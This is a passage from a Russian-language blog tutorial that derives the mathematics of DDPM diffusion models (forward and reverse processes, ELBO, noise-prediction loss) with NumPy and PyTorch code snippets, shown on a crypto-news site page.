Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

Пишем свою Diffusion модель с нуля

Всем привет, думаю у вас на слуху разного рода Diffusion модели последние 2 года. На его основе генерируют реалистичные изображения и видео, поэтому мне захотелось копнуть поглубже и узнать какова кроличья нора...

Меня зовут Юра, я - разработчик, фаундер и временами ML энтузиаст. Я решил разобраться и понять, как устроена Diffusion модель внутри, понять ее математику и постараться объяснить и разложить ее на пальцах. Ну и конечно пописать код, который (спойлер) заработал. На гифке изображены примеры итоговых картинок на моей финальной модели.

Если вам тоже интересно, милости прошу под кат.

MNIST
MNIST

Небольшое вступление

Для тех, кто не хочет ждать и сразу взглянуть на код - не буду тянуть, вот ссылка на github проект.

Какой примерно у нас план:

  1. Вспоминаем матан и тервер. Разбираем математику прямого и обратного процесса

  2. От математики приходим к простой функции потерь (быстрый переход)

  3. Пишем код (быстрый переход)

Сразу напишу, что без этих людей: Jonathan Ho, Ajay Jain, Pieter Abbeel (авторы оригинального DDPM) не было бы ни бума генераций картинок, ни моей статьи. Поэтому респект и спасибо им и другим ресерчерам, на статьи и работы которых опираются в этом пейпере! Также большое спасибо Lil Log за ее блог с объяснением математики, без этого тоже было бы трудно. Все другие ссылки, на которые я опирался и использовал, укажу в конце статьи.

Также в статье возможно есть неточности или ошибки. Буду благодарен за любой ваш фидбек или найденные ошибки.

Ну что? Погнали!

Math

Прямой процесс

Когда впервые видишь или читаешь пейпер, испытываешь те же чувства, что у Бена снизу. Непонятный набор формул на каждой странице втапливает вас постепенно в землю, но не будем паниковать раньше времени. Попробуем разобраться степ бай степ.

akjr2mxvtznjvy0bplr6ddwxwv8.jpeg

Вообще, что такое Diffusion model? Цитата из оригинального пейпера:

What distinguishes diffusion models from other types of latent variable models is that the approximate posterior q(x_{1:T} |x_0), called the forward process or diffusion process, is fixed to a Markov chain that gradually adds Gaussian noise to the data according to a variance schedule β1 , . . . , βT

Для нас важно здесь, что есть некое апостериорное распределение q(x_{1:T} |x_0) (или пространство вероятностей), которое представляет собой процесс диффузии. Выглядит оно так:

q(x_{1:T} |x_0) := \prod_{t=1}^n q(x_t|x_t−1)

q(x_t|x_{t−1}) := \mathcal{N}(x_t, \sqrt{1 − β_t}x_{t−1}, β_tI)

Вторая формула на пальцах: условное распределение q(x_t|x_{t−1}) является нормальным распределение x_t с мат ожиданием \sqrt{1 − β_t}x_{t−1} и дисперсией β_t. Процесс перехода из одного распределения в другое мы делаем T раз. Запишем конечное распределение как q(x_{1:T} |x_0) := \prod_{t=1}^n q(x_t|x_t−1).

Читатель, который наверное в легком замешательстве, имеет только один вопрос: как генерация картинок, да и вообще картинки связаны с этими формулами?
Картинок бесконечно много в мире(их конечное число, но много), но для простоты их очень много. Поэтому мы можем говорить о неком распределении картинок. Начальное нами выбранное распределение картинок - это x_0.

Давайте на примере попробуем применить эти формулы. Для простоты будем работать в одномерном пространстве (с картинками работать будет точно также, но их не удобно отображать на графике).

Какой наш аглоритм? Мы выбираем случайную точку из множества x_0, затем x_1 - это случайная точка из нормального распределения q(x_1|x_0) := \mathcal{N}(x_1, \sqrt{1 − β_1}x_{0}, β_1) . На всякий случай, нормальное распределение выглядит так:

fty8hjmlwgbphdkzuachnfsyyqc.png

Затем x_2 будет случайной точкой из нормального распределения c мат ожиданием \sqrt{1 − β_2}x_{1} и \beta_2 и так далее. В конце мы получим x_T, которая тоже в свою очередь будет некой точкой, выбранная из последнего нормального распределения. В условиях, что у нас есть начальное распределение x_0, то в конце мы получим распределение x_T, все точки которого пройдут T итераций.

В случае картинок каждая итерация предсталяет собой добавление шума к картинке. На человеческий взгляд это выглядит, как порча картинки. Через множество итераций вменяемое изображение становится черти пойми чем, но важное уточнение, что это для человека. А в рамках математики этот шум приводит нас к грандиозному результату!

Пример, как выглядит трансформация картинок с использованием формул
Пример, как выглядит трансформация картинок с использованием формул

Напишем применение формул выше на питоне с разным набором \beta_t, x_0 установим в 1(то есть одна единственная начальная точка) и смотреть будем графики на интервале -5 до 5 с 1000 значений. T (общее количество итераций) сделаем равным 800.

Небольшой код на питоне:
timestep = 800

xs = np.arange(-5, 5, 0.01)

y_results = norm.pdf(xs, 0, 1)

different_schedules = [
    # constant
    np.ones(timestep) * 0.1,
    np.ones(timestep) * 0.3,
    np.ones(timestep) * 0.5,
    np.ones(timestep) * 0.7,
    np.ones(timestep) * 0.9,
    # linear change (from paper)
    np.linspace(1e-4, 0.02, timestep)
]

x0 = 1

for bt in different_schedules:

    # Set xt to zero, which will be used as x(t-1) like in sqrt(1-b) * x(t-1)
    xt = x0

    q_results = None

    # A simple loop by timestep
    for t in range(timestep):

        # Calculate the mean as in the formula
        mean = math.sqrt(1 - bt[t]) * xt

        # Calculate the variance
        variance = bt[t]

        # Q is a normal distribution, so to get the next xt, we just get random element from our distribution
        xt = np.random.normal(mean, math.sqrt(variance))
    q_results = norm.pdf(xs, mean, math.sqrt(variance))
    plt.plot(xs, q_results, label=f"qt for bt {bt[0] if bt[0] == bt[-1] else 'linear'}")
plt.plot(xs, y_results, label="Y")
plt.legend()
plt.show()

Получаем это:

1kb3hpuk6aeee4mknxccmxgtpmy.png

То есть в целом, не смотря на разные набор значений \beta_t, мы приходим к нормальному распределению.

Но с точки зрения будущей нейросети есть проблема в одной строчке кода:

xt = np.random.normal(mean, math.sqrt(variance))

То есть мы берем случайное значение из распределения. Сделать производную x_t по x_{t-1} будет нереально (потому что здесь выбираются случайные значения) и соответственно обратное распространение ошибки нам сделать нельзя.

Чтобы обойти это, используем небольшой трюк (в пейпере про VAE его назвали reparametrization trick)

x_t \sim q(x_t | x_{t-1}) := \mathcal{N}(x_t, \mu_{t-1}, \delta_{t-1} ^2 )

x_t = \mu_{t-1} + \delta_{t-1} * \epsilon, где \epsilon \sim \mathcal{N}(0, I)

Для нашего случая:

x_t = \sqrt{1 - \beta_t}x_{t-1} + \beta_t * \epsilon, где \epsilon \sim \mathcal{N}(0, I)

То есть случайную величину выносим в формулу и записываем x_t через сумму x_{t-1} с коэффициентом некой epsilon, которая и будет представлять случайное значенеие из нормального распределения с ожиданием 0 и дисперсией 1.

Выглядит может и странно, но давайте проверим:
for bt in different_schedules:

    # Set xt to zero, which will be used as x(t-1) like in sqrt(1-b) * x(t-1)
    xt = x0

    q_results = None

    # A simple loop by timestep
    for t in range(timestep):

        # Calculate the mean as in the formula
        mean = math.sqrt(1 - bt[t]) * xt

        # Calculate the variance
        variance = math.sqrt(bt[t])

        # Get eps from normal distribution
        eps = np.random.normal(0, 1)
        
        # Calculate our xt
        xt = mean + variance * eps
    q_results = norm.pdf(xs, mean, math.sqrt(variance))
    plt.plot(xs, q_results, label=f"qt for bt {bt[0] if bt[0] == bt[-1] else 'linear'}")
plt.plot(xs, y_results, label="Y")
plt.legend()
plt.show()
dk3jqu5rm2ki8tsykvyyswnyij0.png

Результаты очень похожи на те, что были ранее. Можно брать за правду!

Но есть еще одна проблемка: сейчас мы последовательно вычисляем x_t через x_{t-1}. Держим в уме, что T может быть очень большим и мы будем работать не в одномерном пространстве(а n-мерном, как картинки например). Как итог - вычисления громоздкие, хочется облегчить себе жизнь. Давайте вспомним тервер и запишем пару формул.

\alpha_t = 1 - \beta_t, \bar \alpha_t = \prod_{i=1}^t\alpha_i

x_t = \sqrt{\alpha_t}x_{t-1} + \sqrt{1 - \alpha_t} * \epsilon_t = \sqrt{\alpha_t} \sqrt{\alpha_{t-1}} x_{t-2} + \sqrt{\alpha_t * (1 - \alpha_{t-1})} * \epsilon_{t-1} + \sqrt{1 - \alpha_t} * \epsilon_t

\epsilon_t \sim \mathcal{N}(0, \delta_t^2 I) и \epsilon_{t-1} \sim \mathcal{N}(0, \delta_{t-1}^2 I). Их объединение будет давать: \mathcal{N}(0, (\delta_t^2 + \delta_{t-1}^2)I). Перепишем формулу выше:

x_t=\sqrt{\alpha_t * \alpha_{t-1}} x_{t-2} + \sqrt{\alpha_t * (1 - \alpha_{t-1}) + 1 - \alpha_t} * \bar{\epsilon_{t-2}} = \sqrt{\alpha_t * \alpha_{t-1}} x_{t-2} + \sqrt{1 - \alpha_t * \alpha_{t-1}} * \bar{\epsilon_{t-2}}

Продолжая, получим:

x_t=\sqrt{\bar \alpha_t} x_0 + \sqrt{1 - \bar \alpha_t} * \bar{\epsilon}

Для тех, кто тервер не помнит, вот хорошая ссылка на вспоминание. Можно пока поверить на слово и глянуть на результаты с новой формулой.

Еще немного кода

```python for bt in different_schedules: alpha_t = 1 - bt cumprod_alpha_t = np.cumprod(alpha_t) mean = math.sqrt(cumprod_alpha_t[-1]) * x0 variance = math.sqrt(1 - cumprod_alpha_t[-1]) eps = np.random.normal(0, 1) variance = variance xt = mean + eps * variance q_results = norm.pdf(xs, mean, math.sqrt(variance)) plt.plot(xs, q_results, label=f"qt for bt {bt[0] if bt[0] == bt[-1] else 'linear'}") plt.plot(xs, y_results, label="Y") plt.legend() plt.show() ```

kxelqduui59lqb5nc5gehx_l-jw.png

Видим, что такая формула ведет нас к нормальному распределению с ожиданием 0 и дисперсией 1 в итоге.

Кажется, мы разобрались с прямым процессом, переходим к обратному процессу.

nimdm1ziqvpxsc7mjn7vcedsvoc.jpeg

Обратный процесс

Спойлер: очень много непростой математики. Прочитать и не понять ничего с первого раза - это нормально. Прочтите еще раз, что-то можно спросить LLM, что-то самому повыводить на бумаге.

Окей, у нас есть q(x_t, x_{t-1}), а что насчет q(x_{t-1}|x_t) ? На словах, добавляя шум к картинке, получаем шум (но мы уже знаем, что это нормальное распределение).

Но теперь самое интересное! Как получить из шума нормальную картинку?
Можно ли это вообще? Без спойлеров, все юзали Stable Diffusion, поэтому видимо можно. Давайте разберемся как.

q(x_{t-1}|x_t) сходу кажется нельзя вывести. Давайте рассмотрим почему. Немного простого тервера.

\begin{aligned}q(x_{t-1}|x_t, x_0) = \frac{q(x_{t-1}, x_t, x_0)}{q(x_t, x_0)}\end{aligned} (1)

\begin{aligned}q(x_{t-1}|x_t)=\int_{x_0} q(x_{t-1}, x_0|x_t) \mathrm{d}x_0\end{aligned} (2)

\begin{aligned}q(x_{t-1}, x_0| x_t) = \frac{q(x_{t-1}, x_0, x_t)}{q(x_t)} \end{aligned} (3)

Выводя одинаковый числитель из (1) и (3), получаем формулу:

\begin{aligned} q(x_{t-1}|x_t, x_0) * q(x_t, x_0) = q(x_{t-1}, x_0| x_t) * q(x_t) => q(x_{t-1}, x_0| x_t) = q(x_{t-1}|x_t, x_0) * \frac{q(x_t, x_0)}{q(x_t)} \end{aligned} \begin{aligned} q(x_{t-1}, x_0| x_t) = q(x_{t-1}|x_t, x_0) * q(x_0|x_t) \end{aligned}

Теперь перепишем формулу (2):
q(x_{t-1}|x_t)=\int q(x_{t-1}|x_t, x_0) * q(x_0|x_t) \mathrm{d}x_0

С помощью формулы Баейса запишем q(x_0|x_t), как \begin{aligned} q(x_t|x_0) * \frac{q(x_0)}{q(x_t)} \end{aligned}

То есть для вычисления q(x_{t-1}|x_t) мы должны посчитать интеграл через все x_0 (все картинки в нашем датасете), вычисления которого будут долгими и дорогими.

Окей, q(x_{t-1}|x_t) вывести нельзя, но можно вывести q(x_{t-1}|x_t, x_0). Что это означает? Мы пытаемся найти распределение x_{t-1}, зная x_t и x_0.

Считаем мат ожидание и дисперсию

Разбираемся с q(x_{t-1}|x_t, x_0).

Прежде всего возьмем за факт, что если \beta - очень маленькое число и q(x_t|x_{t-1}) - Гауссово распределение, то q(x_{t-1}|x_t) - тоже будет являться Гауссовым распределением. Цитата из пейпера:

"For both Gaussian and binomial diffusion, for continuous diffusion (limit of small step size β) the reversal of the diffusion process has the identical functional form as the forward process (Feller, 1949)."

Я попытался прочитать эту теорему и доказательство в оригинале и это было тяжело понимаемо, поэтому примем этот факт за правду.

Итак, если q(x_{t-1}|x_t) - Гауссово распределение, то попытаемся найти \mu и \delta (то есть его мат ожидание и дисперсию).

Воспользовавшись правилом Байеса, мы имеем:

\begin{aligned}q(x_{t-1}|x_t, x_0) = q(x_{t}|x_{t-1},x_0) * \frac{q(x_{t-1}|x_0)}{q(x_{t}|x_0)}\end{aligned}

Далее, раскрываем каждый множитель в виде формулы Гауссова распределения (напомню, там будет перемножение 3х экспонент), затем подробно рассмотрим, что у нас будет происходит в экспонентах. Часть вычислений взял из Lil Log article

\begin{aligned}\propto \exp (-\frac{1}{2} * (\frac{(x_t - \sqrt{\alpha_t}x_{t-1})^2}{\beta_t} + \frac{(x_{t-1} - \sqrt{\bar \alpha_{t-1}}x_0)^2}{1 - \bar \alpha_{t-1}} - \frac{(x_{t} - \sqrt{\bar \alpha_{t}}x_0)^2}{1 - \bar \alpha_t})) \end{aligned}

\begin{aligned} &= \exp (-\frac{1}{2} (\frac{\mathbf{x}_t^2 - 2\sqrt{\alpha_t} \mathbf{x}_t \mathbf{x}_{t-1} + \alpha_t \mathbf{x}_{t-1}^2 }{\beta_t} + \frac{ {\mathbf{x}_{t-1}^2} {- 2 \sqrt{\bar{\alpha}_{t-1}} \mathbf{x}_0} {\mathbf{x}_{t-1}} + \bar{\alpha}_{t-1} \mathbf{x}_0^2}  {1-\bar{\alpha}_{t-1}} - \frac{(\mathbf{x}_t - \sqrt{\bar{\alpha}_t} \mathbf{x}_0)^2}{1-\bar{\alpha}_t} ) ) \\ &= \exp\Big( -\frac{1}{2} \big( {(\frac{\alpha_t}{\beta_t} + \frac{1}{1 - \bar{\alpha}_{t-1}})} \mathbf{x}_{t-1}^2 - (\frac{2\sqrt{\alpha_t}}{\beta_t} \mathbf{x}_t + \frac{2\sqrt{\bar{\alpha}_{t-1}}}{1 - \bar{\alpha}_{t-1}} \mathbf{x}_0) \mathbf{x}_{t-1} + C(\mathbf{x}_t, \mathbf{x}_0) \big) \Big) \end{aligned}

Напомню, что:

\begin{aligned} N(x, \mu, \delta^2) \sim x \propto \exp (-1/2 * \frac{(x - \mu) ^ 2}{\delta^2}) \end{aligned}

Рассмотрим более детально:

\begin{aligned}\frac{(x - \mu) ^ 2}{\delta^2} = \frac{(x^2 - 2x\mu + \mu^2)}{\delta^2} = \frac{1}{\delta^2} * x^2 - 2 * \frac{\mu}{\delta^2} * x + ... \end{aligned}

Не сложно заметить, что если A * x ^ 2, то \delta^2 = 1 / A. Аналогично

\mu: B * x => \mu = -\frac{1}{2} * \delta^2 * B

Выведем мат ожидание и дисперсию для q(x_{t-1}|x_t, x_0)

\begin{aligned} (\frac{\alpha_t}{\beta_t} + \frac{1}{1 - \bar{\alpha}_{t-1}}) \mathbf{x}_{t-1}^2 => \delta^2 = 1/A = 1 / (\frac{\alpha_t}{\beta_t} + \frac{1}{1 - \bar{\alpha}_{t-1}}) = \frac{1 - \bar \alpha_{t-1}}{1 - \bar \alpha_{t}} \beta_t \end{aligned} \begin{aligned} -(\frac{2\sqrt{\alpha_t}}{\beta_t} \mathbf{x}_t + \frac{2\sqrt{\bar{\alpha}_{t-1}}}{1 - \bar{\alpha}_{t-1}} \mathbf{x}_0) \mathbf{x}_{t-1} => \mu = -\frac{1}{2} * \delta^2 * B = \frac{\sqrt{\alpha_t}(1- \bar \alpha_{t-1})}{1 - \bar \alpha_t}x_t + \frac{\sqrt{\bar \alpha_{t-1}} * \beta_t}{1 - \bar{\alpha_{t}}}x_0 \end{aligned}

Сейчас q(x_{t-1}|x_t, x_0) \sim N(x_{t-1}, \mu(x_t, x_0), \tilde \beta_tI)

\begin{aligned} \tilde \beta_t = \frac{1 - \bar \alpha_{t-1}}{1 - \bar \alpha_{t}} \beta_t \end{aligned} (4)

\begin{aligned} \mu(x_t, x_0) = \frac{\sqrt{\alpha_t}(1- \bar \alpha_{t-1})}{1 - \bar \alpha_t}x_t + \frac{\sqrt{\bar \alpha_{t-1}} * \beta_t}{1 - \bar{\alpha_{t}}}x_0 \end{aligned} (5)

Вспомним, что x_t=\sqrt{\bar \alpha_t} x_0 + \sqrt{1 - \bar \alpha_t} * \bar{\epsilon}, выразим x_0 через x_t

\begin{aligned}x_0=\frac{1}{\sqrt{\bar \alpha_t}} (x_t - \sqrt{1 - \bar \alpha_t} * \bar{\epsilon}) \end{aligned}

Затем выразим \tilde \mu_t без использования x_0

\begin{aligned} \tilde \mu_t = \frac{\sqrt{\alpha_t}(1- \bar \alpha_{t-1})}{1 - \bar \alpha_t}x_t + \frac{\sqrt{\bar \alpha_{t-1}} * \beta_t}{(1 - \bar{\alpha_{t}})\sqrt{\bar \alpha_t}}(x_t - \sqrt{1 - \bar \alpha_t} * \bar{\epsilon})=\frac{1}{\sqrt{\alpha_t}}x_t - \frac{1}{\sqrt{\alpha_t}} * \frac{\sqrt{1 - \bar \alpha_t}}{1 - \bar \alpha_t} * \beta_t * \bar {\epsilon} \end{aligned}

Вспоминая, что \beta_t = 1 - \alpha_t, запишем

\begin{aligned} \tilde \mu_t = \frac{1}{\sqrt{\alpha_t}}(x_t - \frac{1 - \alpha_t}{\sqrt{1 - \bar \alpha_t}} \bar {\epsilon}) \end{aligned} (6)

Вводим модель

Как мы увидели ранее, мы не можем посчитать q(x_{t-1}|x_t), поэтому введем модель p_\theta(x_{t-1}|x_t), которая апроксимирует наше неизвестное распределение q. Также ранее мы доказали, что q(x_{t-1}|x_t) - Гауссово распределение, значит p_\theta(x_{t-1}|x_t) - тоже Гауссово. Запишем

p_\theta(x_{t-1}|x_t) = N(x_{t-1}, \mu_\theta(x_t, t), \Sigma_\theta(x_t, t)) \quad p(x_{0...T}) = p(x_{0:T}) = p(x_T) * \prod_{t=1}^T p_\theta(x_{t-1}|x_t)

У нас есть модель p_\theta(x_{t-1}|x_t), которое описывает некое распределение и у нас есть q(x_{t-1}|x_t). Наша задача найти оптимальное \theta, при котором p_\theta будет наиболее приближено к q. Звучит так, что нам нужно найти функцию ошибки.

Чтобы сделать это, запишем функцию правдоподобия для p_\theta

p_\theta(x) = \int p_\theta(x_{0:T})\mathrm{d}x_1,...x_T`

Наша задача максимизировать его, давайте запишем логарифм от функции правдоподобия(который точно также нужно максимизировать):

\begin{aligned} \log p_\theta(x) &= \log \int p_\theta(x_{0:T})\mathrm{d}x_1,...x_T \\ &= \log \int p_\theta(x_{0:T}) * \frac{q(x_{1:T}|x_0)}{q(x_{1:T}|x_0)}\mathrm{d}x_1,...x_T \\ &= \log \int q(x_{1:T}|x_0) * \frac{p_\theta(x_{0:T})}{q(x_{1:T}|x_0)}\mathrm{d}x_1,...x_T \\ &= \log E_{q(x_{1:T}|x_0)} \frac{p_\theta(x_{0:T})}{q(x_{1:T}|x_0)} \\ \end{aligned}

где E - мат ожидание от функции \frac{p_\theta(x_{0:T})}{q(x_{1:T}|x_0)}

Запишем еще формулу неравенства Jensen:
f(E(x)) <= E(f(x)), если f(x) - выпуклая функция и

f(E(x)) >= E(f(x)), если f(x) - вогнутая.

log(x) - вогнутая, поэтому получаем:

log(E(x)) >= E(log(x))

Перепишем форумулу выше:

\begin{aligned} \log p_\theta(x) &= \log E_{q(x_{1:T}|x_0)} \frac{p_\theta(x_{0:T})}{q(x_{1:T}|x_0)} \\ &= E_{q(x_{1:T}|x_0)}[ \log  \frac {p_\theta(x_T) * p_\theta(x_0|x_1) * \prod_{t=2}^{T} p_\theta(x_{t-1}|x_t) } { q(x_1|x_0) * \prod_{t=2}^{T} q(x_t|x_{t-1}) } ] \\ &= E_{q(x_{1:T}|x_0)}[ \log  \frac {p_\theta(x_T) * p_\theta(x_0|x_1) } { q(x_1|x_0) } + \log \prod_{t=2}^{T} \frac { p_\theta(x_{t-1}|x_t) } { q(x_t|x_{t-1}) } ] \\ &= E_{q(x_{1:T}|x_0)}[ \log  \frac {p_\theta(x_T) * p_\theta(x_0|x_1) } { q(x_1|x_0) } + \log \prod_{t=2}^{T} \frac { p_\theta(x_{t-1}|x_t) } { \frac { q(x_{t-1}|x_t, x_0) * \cancel { q(x_t|x_0) } } { \cancel { q(x_{t-1} | x_0) } } } ] \\ &= E_{q(x_{1:T}|x_0)}[ \log  \frac {p_\theta(x_T) * p_\theta(x_0|x_1) } { q(x_1|x_0) } + \log  \frac {q_(x_1|x_0) } { q(x_T|x_0) } + \log \prod_{t=2}^{T} \frac { p_\theta(x_{t-1}|x_t) } { q(x_{t-1}|x_t, x_0) } ] \\ &= E_{q(x_{1:T}|x_0)}[ \log \frac{p_\theta(x_T) * p_\theta(x_0|x_1)}{q(x_T|x_0) }] + E_{q(x_{1:T}|x_0)}[ \log  \prod_{t=2}^{T} \frac {p_\theta(x_{t-1}|x_{t})}{q(x_{t-1}|x_{t}, x_0)} ] \\ &= E_{q(x_{1:T}|x_0)} \log p_\theta(x_0|x_1) + E_{q(x_{1:T}|x_0)} \log \frac{p_\theta(x_T)}{q(x_T|x_{0}) } + E_{q(x_{1:T}|x_0)}[ \sum_{t=2}^{T} \log  \frac {p_\theta(x_{t - 1}|x_{t})}{q(x_{t-1}|x_{t},x_0)} ] \\ &= E_{q(x_1|x_0)} \log p_\theta(x_0|x_1) + E_{q(x_T|x_0)} \log \frac{p_\theta(x_T)}{q(x_T|x_0) } + \sum_{t=2}^{T} [E_{q(x_{t-1},x_t|x_0)} \log  \frac {p_\theta(x_{t-1}|x_{t})}{q(x_{t-1}|x_{t},x_0)} ] \\ &= E_{q(x_1|x_0)} \log p_\theta(x_0|x_1) - D_{KL} (q(x_T|x_0) || p_\theta(x_T)) - \sum_{t=2}^{T} [E_{q(x_{t-1}|x_0)} D_{KL} (q(x_{t-1}|x_t, x_0) || p_\theta(x_{t-1}|x_t)) ] \end{aligned}

Для тех, кого смущает, что такое D_{KL}. D_{KL}(P||Q) - KL Divergence или по русски "Расстояние Кульбака — Лейблера", метрика, которая показывает разницу между вероятностным распределением P и Q. В случае если они одинаковые, то D_{KL}=0. Ссылка на вики

\log p_\theta(x) >= E_{q(x_1|x_0)} \log p_\theta(x_0|x_1) - D_{KL} (q(x_T|x_0) || p_\theta(x_T)) - \sum_{t=2}^{T} [E_{q(x_{t-1}|x_0)} D_{KL} (q(x_{t-1}|x_t, x_0) || p_\theta(x_{t-1}|x_t)) ] (7)

То что мы вывели выше, называется Evidence Lower Bound (ELBO) или по русски Нижняя граница правдоподобия. Отдельное спасибо Calvin Luo с его замечательной статьей с объяснениями выведения этой формулы.

В формуле выше 1й и 2й член не зависят от p_\theta(x_{t-1}|x_t), поэтому мы можем убрать их и работать только с последней суммой. Наша цель - максимизировать правдоподобие, то есть смотря на формулу 7, мы должны минимизировать


\sum_{t=2}^{T} [E_{q(x_{t-1}|x_0)} D_{KL} (q(x_{t-1}|x_t, x_0) || p_\theta(x_{t-1}|x_t)) ] (8)

D_{KL} всегда положительное, поэтому наша цель - минимизировать его.

Кажется мы нашли нашу функцию потерь!

Функция потерь

Если подытожить очень кратко, то все вычисления, которые мы делали ранее, нужны для того, чтобы понять, как нам сделать распределение p_\theta(x_{t-1}|x_t) максимально приближенным к q(x_{t-1}|x_t), которое как мы доказали ранее невозможно посчитать. Наши вычисления привели к тому, что нужно минимизировать некое D_{KL} расстояние, которое сейчас мы и выведем.

Конечно же, к D_{KL} расстоянию мы пришли не просто так, а потому, что есть формула, как посчитать расстояние между 2мя гауссовыми распределениями. Для любознательных вот линк.

\begin{aligned} N_0(\mu_0, \Sigma_0); \: N_1(\mu_1, \Sigma_1); \; D_{KL}(N_0 || N_1) = \frac{1}{2}(tr(\Sigma_1^{-1}\Sigma_0) - k + (\mu_1 - \mu_0)^T\Sigma_1^{-1}(\mu_1 - \mu_0) + ln \frac{det\Sigma_1}{det\Sigma_0}) \end{aligned}

Напомним, что p_{theta} \sim N(\mu_{\theta}(x_t, t), \sigma_{\theta}(x_t, t)); \ q(x_{t-1}|x_t, x_0) \sim N(x_t, \mu(x_t, x_0), \sigma(t))

Вычислим D_{KL} (q(x_{t-1}|x_t, x_0) || p_\theta(x_{t-1}|x_t))

\begin{aligned} D_{KL} (q(x_{t-1}|x_t, x_0) || p_\theta(x_{t-1}|x_t)) &= \frac{1}{2}(k-k + (\mu(x_t, x_0) - \mu_{\theta}(x_t, t)) \Sigma_1^{-1}(\mu(x_t, x_0) - \mu_{\theta}(x_t, t)) + ln1) \\ &= \frac{1}{2}(\mu(x_t, x_0) - \mu_{\theta}(x_t, t))\frac{1}{\sigma_q^2(t)}(\mu(x_t, x_0) - \mu_{\theta}(x_t, t)) \\ &= \frac{1}{2\sigma_q^2(t)} ||\mu(x_t, x_0) - \mu_{\theta}(x_t, t)||_2^2 \end{aligned}

Теперь перепишем нашу формулу 5:

\begin{aligned} \mu(x_t, x_0)=\frac{\sqrt{\alpha_t}(1- \bar \alpha_{t-1})}{1 - \bar \alpha_t}x_t + \frac{\sqrt{\bar \alpha_{t-1}} * \beta_t}{1 - \bar{\alpha_{t}}}x_0 \\ \mu_\theta(x_t, t)=\frac{\sqrt{\alpha_t}(1- \bar \alpha_{t-1})}{1 - \bar \alpha_t}x_t + \frac{\sqrt{\bar \alpha_{t-1}} * \beta_t}{1 - \bar{\alpha_{t}}}x_{\theta} \\ D_{KL} = \frac{1}{2\sigma_q^2(t)} * \frac{\bar \alpha_{t-1} * (1 - \alpha_t)^2}{(1 - \bar{\alpha_{t}})^2} ||x_0 - x_{\theta}||_2^2 \end{aligned}

Где x_{\theta} - изображение, которое мы получаем от нейросети.

Возьмем формулу 6 и перепишем наше D_{KL} расстояние:

\begin{aligned} \tilde \mu_t(x_t) = \frac{1}{\sqrt{\alpha_t}}(x_t - \frac{1 - \alpha_t}{\sqrt{1 - \bar \alpha_t}} \bar {\epsilon}) \\ \tilde \mu_{\theta}(x_t) = \frac{1}{\sqrt{\alpha_t}}(x_t - \frac{1 - \alpha_t}{\sqrt{1 - \bar \alpha_t}} \epsilon_{\theta}) \\ D_{KL} = \frac{1}{2\sigma_q^2(t)} * \frac{(1 - \alpha_t)^2}{\alpha_t (1 - \bar{\alpha_{t}})} ||\epsilon - \epsilon_{\theta}||_2^2 \end{aligned}

В нашем случае с картинками \epsilon - шум, который мы добавляем к картинке, \epsilon_{\theta} - шум, который нам предсказывает нейросеть.

Теперь наша функция ошибки выглядит так:

\begin{aligned} Loss(\theta) = \arg \min_{\theta} \sum_{t=2}^{T}E_{q(x_t|x_0)} [\ \frac{1}{2\sigma_q^2(t)} * \frac{(1 - \alpha_t)^2}{\alpha_t (1 - \bar{\alpha_{t}})} ||\epsilon - \epsilon_{\theta}||_2^2 \ ] \end{aligned}

Можно использовать более простую формулу:

\begin{aligned} Loss_{simple}(\theta) = \arg \min_{\theta} \sum_{t=2}^{T}E_{q(x_t|x_0)} ||\epsilon - \epsilon_{\theta}||_2^2 \end{aligned}

То есть простыми словами, при обучении на каждую картинку мы будем накладывать шум и будем учить нейросеть определять шум, который мы наложили. Шум будем накладывать по формуле, которую мы записали в самом начале:

x_t=\sqrt{\bar \alpha_t} x_0 + \sqrt{1 - \bar \alpha_t} * \bar{\epsilon}

При этом t будет разный для разных картинок и будет выбираться случайно на этапе обучения.

Как сгенерировать картинку после обучения

Напомним, что p_\theta(x_{t-1}|x_t) = N(x_t, \mu_\theta(x_t), \Sigma_\theta(x_t, t)) и \Sigma_\theta = \beta_t в нашем случае, поэтому:

\begin{aligned} x_{t-1} &= \mu_\theta(x_t) + \epsilon * \Sigma_\theta, \epsilon \sim N(0, I) \\ &= \frac{1}{\sqrt{\alpha_t}}(x_t - \frac{1 - \alpha_t}{\sqrt{1 - \bar \alpha_t}} \bar {\epsilon}) + \epsilon * \beta_t \end{aligned}

То есть в цикле по t нам на каждом шагу надо вычислить x_t по формуле выше и в итоге мы придем к x_0. При этом x_t - случайный шум (если более точно, случайное значение, взято из нормального распределения с ожиданием 1 и дисперсией 0), \bar {\epsilon} - посчитанный шум нейросетью на шаге t и {\epsilon} - еще один случайный шум.

Итог математики

Поздравляю, тех, кто полностью прочитал и проклинает математику выжил. Для тех, кто начал страдать, что он ничего не понял, просьба не сильно унывать. Без должной подготовки, это точно не простое чтиво. Что-то нужно перечитать 10-50 раз и потом придет осознание, где-то пописать формулы, вообщем рецепт у каждого свой!

Ну самое тяжелое на бумаге позади, предлагаю переходить к коду.

Пишем код

Писать код на бумаге - точно не лучшая затея. Поэтому прикрепляю ссылку на репозиторий. А я подсвечу некоторые интересные моменты.

Пойдем от большого к маленькому.

6b728ca46d5ea06603db94639d8c9330.gif

Diffusion model

DDPM(Denoising Diffusion Probalistic Model) или проще наша Diffusion модель. Код.

У модели есть метод forward, который используется для обучения и sample для генерации. Интересный момент в конструкторе этого класса:

self.T = T
self.eps_model = eps_model.to(device)
self.device = device
beta_schedule = torch.linspace(1e-4, 0.02, T + 1, device=device)
alpha_t_schedule = 1 - beta_schedule
bar_alpha_t_schedule = torch.cumprod(alpha_t_schedule.detach().cpu(), 0).to(device)
sqrt_bar_alpha_t_schedule = torch.sqrt(bar_alpha_t_schedule)
sqrt_minus_bar_alpha_t_schedule = torch.sqrt(1 - bar_alpha_t_schedule)
self.register_buffer("beta_schedule", beta_schedule)
self.register_buffer("alpha_t_schedule", alpha_t_schedule)
self.register_buffer("bar_alpha_t_schedule", bar_alpha_t_schedule)
self.register_buffer("sqrt_bar_alpha_t_schedule", sqrt_bar_alpha_t_schedule)
self.register_buffer("sqrt_minus_bar_alpha_t_schedule", sqrt_minus_bar_alpha_t_schedule)
self.criterion = nn.MSELoss()

Можно сказать, что эта вся основная математика, которая вообще есть в Diffusion модели. То есть мы считаем alpha и beta для вычисления картинки с шумом. Напомню формулу:

